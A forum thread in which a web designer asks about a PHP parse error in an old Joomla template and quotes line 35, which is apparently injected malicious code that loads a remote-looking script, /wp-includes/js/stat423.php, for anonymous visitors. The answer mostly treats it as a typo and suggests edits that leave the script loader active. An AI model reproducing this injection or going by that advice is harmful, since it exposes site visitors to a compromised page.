I'm a graphic & web designer but I'm not a programmer..
I need help. Today I found this error when I loaded my homepage of this web site based on old joomla..
Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35
I was looking on line 35 and I found this:
<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};$423e62d9=1; ?>
How to fix it?
Thank in advance!
First, like others pointed in comments, $423e62d9
is not a valid variable name. So you have to fix it somehow.
Second, in this code the usage of this "variable" doesn't make any sense: it is just equated to 1 couple of times: $423e62d9=1;
. So there can be 3 options: either this part is not needed at all, or this "varialbe" is used elsewhere, too, or this is some sort of mistyping (2 times? hmm). PS ok, according to comments, there's a 4th option: the site was hacked. In that case the code around should be studied more carefully; anyway, guys suggest to update Joomla core.
Next, I suggest you to comment out those bits:
<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};/*$423e62d9=1;*/ ?>
and see what happens. This can fix the problem, or shed some more light on its origin.
Another option is to try to rename it (add a letter after $
), but it doesn't make much sense unless you find it elsewhere.
Finally, if this is the third case, this may require some "educated guess". Well, I don't think the guessing game is worthy, so let's start from the 2 options suggested above.